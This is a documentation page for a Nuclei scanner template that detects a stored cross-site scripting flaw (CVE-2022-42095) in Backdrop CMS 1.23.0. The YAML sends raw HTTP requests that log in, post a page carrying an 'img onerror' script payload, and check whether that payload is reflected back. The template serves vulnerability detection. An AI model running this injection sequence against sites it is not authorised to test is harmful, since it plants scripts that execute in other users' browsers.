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Backdrop CMS version 1.23.0 - Cross Site Scripting (Stored)

ID: CVE-2022-42095

Severity: medium

Author: theamanrawat

Tags: cve2022,cve,xss,cms,backdrop,authenticated,backdropcms

Description

Section titled “Description”

Backdrop CMS version 1.23.0 was discovered to contain a stored cross-site scripting (XSS) vulnerability via the Page content.

YAML Source

Section titled “YAML Source”
id: CVE-2022-42095


info:
  name: Backdrop CMS version 1.23.0 - Cross Site Scripting (Stored)
  author: theamanrawat
  severity: medium
  description: |
    Backdrop CMS version 1.23.0 was discovered to contain a stored cross-site scripting (XSS) vulnerability via the Page content.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Upgrade to a patched version of Backdrop CMS or apply the necessary security patches provided by the vendor.
  reference:
    - https://github.com/backdrop/backdrop/releases/tag/1.23.0
    - https://github.com/bypazs/CVE-2022-42095
    - https://nvd.nist.gov/vuln/detail/CVE-2022-42095
    - https://backdropcms.org
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 4.8
    cve-id: CVE-2022-42095
    cwe-id: CWE-79
    epss-score: 0.00283
    epss-percentile: 0.65226
    cpe: cpe:2.3:a:backdropcms:backdrop_cms:1.23.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 5
    vendor: backdropcms
    product: backdrop_cms
  tags: cve2022,cve,xss,cms,backdrop,authenticated,backdropcms


http:
  - raw:
      - |
        GET /?q=user/login HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /?q=user/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        name={{username}}&pass={{password}}&form_build_id={{form_id_1}}&form_id=user_login&op=Log+in
      - |
        GET /?q=node/add/page HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /?q=node/add/page HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        title={{randstr}}&body%5Bund%5D%5B0%5D%5Bsummary%5D=&body%5Bund%5D%5B0%5D%5Bvalue%5D=%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29%3E%0D%0A&body%5Bund%5D%5B0%5D%5Bformat%5D=full_html&changed=&form_build_id={{form_id_2}}&form_token={{form_token}}&form_id=page_node_form&status=1&scheduled%5Bdate%5D=2023-04-14&scheduled%5Btime%5D=21%3A00%3A54&name=admin&date%5Bdate%5D=2023-04-13&date%5Btime%5D=21%3A00%3A54&path%5Bauto%5D=1&menu%5Benabled%5D=1&menu%5Blink_title%5D=test&menu%5Bdescription%5D=&menu%5Bparent%5D=main-menu%3A0&menu%5Bweight%5D=0&comment=1&additional_settings__active_tab=&op=Save
      - |
        POST /?q={{randstr}} HTTP/1.1
        Host: {{Hostname}}


    matchers:
      - type: dsl
        dsl:
          - "status_code_5 == 200"
          - "contains(header_5, 'text/html')"
          - 'contains(body_5, "<img src=\"x\" onerror=\"alert(document.domain)\" />")'
          - "contains(body_5, 'Backdrop CMS')"
        condition: and


    extractors:
      - type: regex
        name: form_id_1
        group: 1
        regex:
          - 'name="form_build_id" value="(.*)"'
        internal: true


      - type: regex
        name: form_id_2
        group: 1
        regex:
          - 'name="form_build_id" value="(.*)"'
        internal: true


      - type: regex
        name: form_token
        group: 1
        regex:
          - 'name="form_token" value="(.*)"'
        internal: true
# digest: 4b0a00483046022100a13be2900eed94e546f982243fec695707d1ccc70c7485806a64d2de54a8c017022100dcdf25fbb23cb93e874828b653622d6a9d89692f30b505f0c2b23607369ecf47:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-42095.yaml"

View on Github